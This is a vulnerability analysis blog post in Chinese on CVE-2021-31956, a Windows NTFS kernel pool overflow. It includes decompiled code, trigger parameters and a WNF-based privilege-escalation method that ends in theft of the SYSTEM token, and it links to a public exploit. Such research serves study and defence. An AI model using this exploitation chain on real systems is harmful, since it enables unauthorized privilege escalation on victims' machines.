查看原文
其他

CVE-2021-31956分析与利用

执着的追求 看雪学苑 2022-07-01


本文为看雪论坛精华文章
看雪论坛作者ID:
执着的追求




漏洞概括


CVE-2021-31956是由Windows Ntfs组件系统存在整形溢出所导致,该漏洞可导致本地权限提升。



漏洞复现环境




漏洞成因


该漏洞发生在ntfs.sys中的NtfsQueryEaUserEaList函数中。
_QWORD *__fastcall NtfsQueryEaUserEaList(_QWORD *a1,FILE_FULL_EA_INFORMATION *CurrentEas,__int64 a3, __int64 PEaBuffer,unsigned int UserBufferLength,FILE_GET_EA_INFORMATION *pUserEaList,char a7){. . . . . . while ( 1 ) { // 索引ealist中的成员,用作下面的查找。 v11 = (FILE_GET_EA_INFORMATION *)((char *)pUserEaList + v9); *(_QWORD *)&DestinationString.Length = 0i64; DestinationString.Buffer = 0i64; *(_QWORD *)&SourceString.Length = 0i64; SourceString.Buffer = 0i64; *(_QWORD *)&DestinationString.Length = v11->EaNameLength; DestinationString.MaximumLength = DestinationString.Length; DestinationString.Buffer = v11->EaName; RtlUpperString(&DestinationString, &DestinationString); // 检查ealist中成员的name是否有效 if ( !(unsigned __int8)NtfsIsEaNameValid(&DestinationString) ) break; v12 = v11->NextEntryOffset; v13 = v11->EaNameLength; v22 = v11->NextEntryOffset + v9; // 遍历查询的EaList for ( curEaList = pUserEaList; ; curEaList = (FILE_GET_EA_INFORMATION *)((char *)curEaList + curEaList->NextEntryOffset) ) { if ( curEaList == v11 ) { v15 = offset; // v16 分配的内核池 v16 = (_DWORD *)(PEaBuffer + padding + offset); // 根据name查找对应的Ea信息 if ( NtfsLocateEaByName((__int64)CurrentEas, *(_DWORD *)(a3 + 4), &DestinationString, &FeaOffset) ) { ea_block = (FILE_FULL_EA_INFORMATION *)((char *)CurrentEas + FeaOffset); // 计算内存拷贝大小 RawEaSize = ea_block->EaValueLength + ea_block->EaNameLength + 9; //防溢出检查 if ( RawEaSize <= UserBufferLength - padding ) { //溢出点 memmove(v16, ea_block, RawEaSize); *v16 = 0; goto LABEL_8; } }. . . . . . if ( !a7 ) { if ( v24 ) *v24 = (_DWORD)v16 - (_DWORD)v24; //判断是ealist中是否还有其他成员 if ( v11->NextEntryOffset ) { v24 = v16; // 总长度减去已经拷贝的长度 UserBufferLength -= RawEaSize + padding; //padding的计算 padding = ((RawEaSize + 3) & 0xFFFFFFFC) - RawEaSize; goto LABEL_26; } }. . . . . .}

上面的代码片段在循环遍历文件中的每个EA拓展属性,并将其拷贝到堆中,每次拷贝的大小为ea_block->EaValueLenght + ea_blocal->EaNameLength + 9。其中ea_block的结构如下:
typedef struct _FILE_FULL_EA_INFORMATION { ULONG NextEntryOffset; //下一个同类型结构的偏移,若是左后一个则为0。 UCHAR Flags; UCHAR EaNameLength; //eanam数组的长度,不包含0终止字符。 USHORT EaValueLength; //数组中每个ea值的长度 CHAR EaName[1];} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;

在每次拷贝前有一个判断溢出的检查(RawEaSize <= UserBufferLength - padding),UserBufferLength是由参数传入并在每次循环中递减,padding由(padding = ((RawEaSize + 3) & 0xFFFFFFFC) - RawEaSize)计算而来,该表达式只会存在4个结果(0, 1, 2,3)。

内存拷贝的目的地址(v16)由参数传入,该参数是在NtfsCommonQueryEa函数中分配的内核池。
. . . . .IrpSp = IoGetCurrentIrpStackLocation( Irp );. . . . .UserBufferLength = IrpSp->Parameters.QueryEa.Length;. . . . .if ( *(_BYTE *)(a2 + 64) ) { v34 = v14; v4 = ExAllocatePoolWithTag((POOL_TYPE)17, UserBufferLength, 0x4546744Eu); v28 = v4; v24 = 1; } memset(v4, 0, v10); . . . . . . if ( v33 ){ v15 = NtfsQueryEaUserEaList(&v33, v30, (__int64)v27, (__int64)v4, v10, v33, v39);}. . . . . . (NtfsCommonQueryEa函数片段)

根据以上分析,当我们能够构造出“UserBufferLength < padding”时“RawEaSize <= UserBufferLength – padding”的溢出检查就会失效,从而进行内核池溢出。

总结来说,该漏洞有以下特点:
a) NtfsCommonQueryEa函数可通过ZwQueryEaFIle函数调用,函数原型如下:
NTSTATUS ZwQueryEaFile( [in] HANDLE FileHandle, //文件句柄 [out] PIO_STATUS_BLOCK IoStatusBlock, [out] PVOID Buffer, //扩展属性缓冲区(FILE_FULL_EA_INFORMATION结构) [in] ULONG Length, //缓冲区大小 [in] BOOLEAN ReturnSingleEntry, [in, optional] PVOID EaList, //指定需要查询的扩展属性 [in] ULONG EaListLength, [in, optional] PULONG EaIndex, //指定需要查询的起始索引 [in] BOOLEAN RestartScan);

b) 溢出拷贝时数据和大小均可控。
c) 可以覆盖下一个内核池块
d) 内核池分配时大小可控,并且可以进行堆布局。




漏洞触发


触发思路

我们可以使用NtSetEaFile函数来为我们自己创建的文件添加EA拓展属性,其函数原型如下:
NTSTATUS ZwSetEaFile( [in] HANDLE FileHandle, //文件句柄 [out] PIO_STATUS_BLOCK IoStatusBlock, [in] PVOID Buffer, //设置的Ea属性,指向FILE_FULL_EA_INFORMATION结构,该结构定义如上。 [in] ULONG Length //Ea属性缓冲区的长度);

该函数的第3个参数是一个FILE_FULL_EA_INFORMATION结构的缓冲区,用来指定Ea属性的值。所以我们可以利用EA属性来构造PAYLOAD, 在使用NtQueryEaFile函数来触发。


触发步骤

创建含有两个FILE_FULL_EA_INFORMATION结构的数组。
构造第一个FILE_FULL_EA_INFORMATION结构如下:
curEa->Flags = 0;// EaNameLength + EaValueLength +9 等于当前结构的总大小, 这里构造为18,使padding=2.curEa->EaNameLength = 3;curEa->EaValueLength = 6;//NextEntryOffset指向下一个EA信息,必须4字节对齐。curEa->NextEntryOffset = (curEa->EaNameLength + curEa->EaValueLength + 3 + 9) & (~3);memcpy(curEa->EaName, ".PA", 3);RtlFillMemory(curEa->EaName + curEa->EaNameLength + 1 , 6 , 0);

构造第二个FILE_FULL_EA_INFORMATION结构如下:
curEa = (PFILE_FULL_EA_INFORMATION)((PUCHAR)curEa + curEa->NextEntryOffset) ;curEa->NextEntryOffset = 0;curEa->Flags = 0;// 第二个结构总大小为104curEa->EaNameLength = 4;curEa->EaValueLength =100;memcpy(curEa->EaName, ".PBB", 4);RtlFillMemory(curEa->EaName + curEa->EaNameLength + 1 , 100 , 0);

调用NtSetEaFile函数来设置文件的Ea属性。
构造NtQueryEaFile函数的Ealist参数如下:
memcpy(EaList->EaName, ".PA", strlen(".PA"));EaList->EaNameLength = (UCHAR)strlen(".PA");EaList->NextEntryOffset = 12; //必须4字节对齐 EaList = (PFILE_GET_EA_INFORMATION)((PUCHAR)EaList + 12);memcpy(EaList->EaName, ".PBB", strlen(".PBB"));EaList->EaNameLength = (UCHAR)strlen(".PBB");EaList->NextEntryOffset = 0;

调用NtQueryEaFile函数来触发漏洞,构造该函数的length参数为19,该参数可用来控制0环申请内存时的大小。

调试


内核池分配

 

第一次内存copy

padding的计算


溢出检查失效

第二次内存拷贝时,成功溢出




漏洞利用


WNF简介

Windows Notification Facitily 是 Windows 中的一个通知系统。

应用程序可以订阅特定类型的事件(StateName标识),在每次状态更改时可以进行通知。

WNF在内核中的数据结构


_WNF_NAME_INSTANCE

+0x000 Header : _WNF_NODE_HEADER +0x008 RunRef : _EX_RUNDOWN_REF // 每一个WNF_NAME_INSTANCE结构都会根据StateName来挂到树中。 +0x010 TreeLinks : _RTL_BALANCED_NODE // wnf Name(3环的StateName ^ 0x41C64E6DA3BC0074) +0x028 StateName : _WNF_STATE_NAME_STRUCT +0x030 ScopeInstance : Ptr64 _WNF_SCOPE_INSTANCE +0x038 StateNameInfo : _WNF_STATE_NAME_REGISTRATION +0x050 StateDataLock : _WNF_LOCK // wnf 数据 +0x058 StateData : Ptr64 _WNF_STATE_DATA +0x060 CurrentChangeStamp : Uint4B +0x068 PermanentDataStore : Ptr64 Void +0x070 StateSubscriptionListLock : _WNF_LOCK +0x078 StateSubscriptionListHead : _LIST_ENTRY +0x088 TemporaryNameListEntry : _LIST_ENTRY // 指向当前进程的 eprocess结构 +0x098 CreatorProcess : Ptr64 _EPROCESS +0x0a0 DataSubscribersCount : Int4B +0x0a4 CurrentDeliveryCount : Int4B


_WNF_SCOPE_INSTANCE

+0x000 Header : _WNF_NODE_HEADER +0x008 RunRef : _EX_RUNDOWN_REF +0x010 DataScope : _WNF_DATA_SCOPE +0x014 InstanceIdSize : Uint4B +0x018 InstanceIdData : Ptr64 Void +0x020 ResolverListEntry : _LIST_ENTRY +0x030 NameSetLock : _WNF_LOCK // 二叉树,根据这个成员来查找对应的NAME_INSTANCE结构 +0x038 NameSet : _RTL_AVL_TREE +0x040 PermanentDataStore : Ptr64 Void +0x048 VolatilePermanentDataStore : Ptr64 Void


_WNF_STATE_DATA

+0x000 Header : _WNF_NODE_HEADER // 分配的内核池大小 +0x004 AllocatedSize : Uint4B // 当前数据大小 +0x008 DataSize : Uint4B +0x00c ChangeStamp : Uint4B


_WNF_STATE_NAME

struct _WNF_STATE_NAME{ ULONGLONG Version : 4; ULONGLONG NameLifetime : 2; // 根据此成员来区分不同的WNF类型 ULONGLONG DataScope : 4; ULONGLONG PermanentData : 1; ULONGLONG Sequence : 53; };


WNF相关API


NtCreateWnfStateName

typedef NTSTATUS (NTAPI * __NtCreateWnfStateName)( _Out_ PWNF_STATE_NAME StateName, _In_ WNF_STATE_NAME_LIFETIME NameLifetime, _In_ WNF_DATA_SCOPE DataScope, _In_ BOOLEAN PersistData, _In_opt_ PCWNF_TYPE_ID TypeId, _In_ ULONG MaximumStateSize, _In_ PSECURITY_DESCRIPTOR SecurityDescriptor);

用来创建一个WNF对象,该函数会在0环创建一个WNF_NAME_INSTANCE对象,大小为0xb8(WNF_NAME_INSTANCE + POOL_HEADER )。

(NtCreateWnfStateName函数片段)


NtUpdateWnfStateData

typedef NTSTATUS (NTAPI * __NtUpdateWnfStateData)( _In_ PWNF_STATE_NAME StateName, _In_reads_bytes_opt_(Length) const VOID * Buffer, _In_opt_ ULONG Length, _In_opt_ PCWNF_TYPE_ID TypeId, _In_opt_ const PVOID ExplicitScope, _In_ WNF_CHANGE_STAMP MatchingChangeStamp, _In_ ULONG CheckStamp);

更新WNF StateData,当Length小于StateData->AllocateSize时会根据Length大小来分配内核池,否则会将Buffer中的数据拷贝到内核池中。
if (!v12 && (a1->PermanentDataStore || (_DWORD)v6) || (v13 = v12) != 0i64 && v12->AllocatedSize < (unsigned int)v6){ ...... if (((*(_DWORD *)&a1->StateName >> 4) & 3) != 3 || PsInitialSystemProcess == (PEPROCESS)a1->CreatorProcess) { v21 = (_WNF_STATE_DATA *)ExAllocatePoolWithTag(PagedPool, (unsigned int)(v6 + 16), 0x20666E57u); v25 = v21; } else { ...... v21 = (_WNF_STATE_DATA *)ExAllocatePoolWithQuotaTag((POOL_TYPE)9, (unsigned int)(v6 + 16), 0x20666E57u); ...... } ......memmove(&v13[1], v7, v6);v13->DataSize = v6;v13->ChangeStamp = i;v15 = a1->PermanentDataStore;...... (NtUpdateWnfStateData函数片段)


NtQueryWnfStateData

typedef NTSTATUS (NTAPI * __NtQueryWnfStateData)( _In_ PWNF_STATE_NAME StateName, _In_opt_ PWNF_TYPE_ID TypeId, _In_opt_ const VOID * ExplicitScope, _Out_ PWNF_CHANGE_STAMP ChangeStamp, _Out_writes_bytes_to_opt_(*BufferSize, *BufferSize) PVOID Buffer, _Inout_ PULONG BufferSize);

查询指定stateName对应的stateData, 当BufferSize小于StateData->DataSize时,该函数会调用失败,并返回C0000023。
*a2 = v11->ChangeStamp; *a5 = v11->DataSize; v12 = v11->DataSize; if ( a4 < v12 ) { v14 = 0xC0000023; } else { memmove(a3, &v11[1], v12); v14 = 0; }


利用思路


相对内存读写


进行堆喷射,在0环中造成以下的内存布局。

利用Ntfs Chunk覆盖StateData中的DataSize成员, 后续就可以使用NtQueryWnfStateData API来读取NAME INSTACE对象中的内容。覆盖StateData中的AllocateSize成员,后续就可以使用NtUpDateWnfStateData API来修改NAME INSTACE对象中的内容。


任意内存读写


利用 State Data Chunk来覆盖Name Instance chunk中的StateData指针,后续使用NtQueryWnfStateData和NtUpDateWnfStateData API来造成任意地址的读写(需要构造AllocateSize和DataSize成员)。


利用过程


1、按照如上所示进行内核池布局。
 
2、利用相对内存读取,读取NAME INSTACE对象中的内容。(NAME INSTANCE对象中有两个比较重要的成员StateName和CreatorProcess, 前者由于所有的NAME INSTANCE对象都保存在一个排序二叉树中,破坏了StateName成员会导致系统无法找到相对应的NAME INSTANCE对象, 并且在进行喷射后我们也无法确定究竟是哪一个StateName对应的对象发生了溢出, 所以通过该方法可以准确定位到发生了溢出的NAME INSTANCE对象。后者标识了当前进程的Eprocess对象,可以通过该对象来遍历所有进程的Eprocess结构)。
 
3、利用相对内存写入,修改NAME INSTANCE对象中的StateData成员为CreatorProcess (需要注意DataSize成员, 该成员直接影响读取的字节数和是否能够成功读取)。
 
4、利用任意内存读取遍历系统进程。
 
5、找到对应的系统进程后,利用任意内存读取获取系统进程的token。
 
6、利用任意内存写入,修改当前进程的token(需要注意AllocateSize成员)。

效果演示


EXP


EXP已在Github上开源,目前只在win 1903上经过测试,稳定性大概在80%。
github传送门
(https://github.com/aazhuliang/CVE-2021-31956-EXP)



参考文章:

CVE-2021-31956(https://research.nccgroup.com/2021/07/15/cve-2021-31956-exploiting-the-windows-kernel-ntfs-with-wnf-part-1/)



 


看雪ID:执着的追求

https://bbs.pediy.com/user-home-848410.htm

*本文由看雪论坛 执着的追求 原创,转载请注明来自看雪社区


# 往期推荐

1.malloc源码分析

2.Windows本地代码执行漏洞(CVE-2012-1876)x86/x64平台分析

3.栈溢出原理与实践之读书笔记

4.CVE-2019-9081 Laravel5.7 反序列化 RCE复现

5.符号执行挖掘开源库命令注入

6.CVE-2021-4034 pkexec本地提权漏洞复现与原理分析






球分享

球点赞

球在看



点击“阅读原文”,了解更多!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存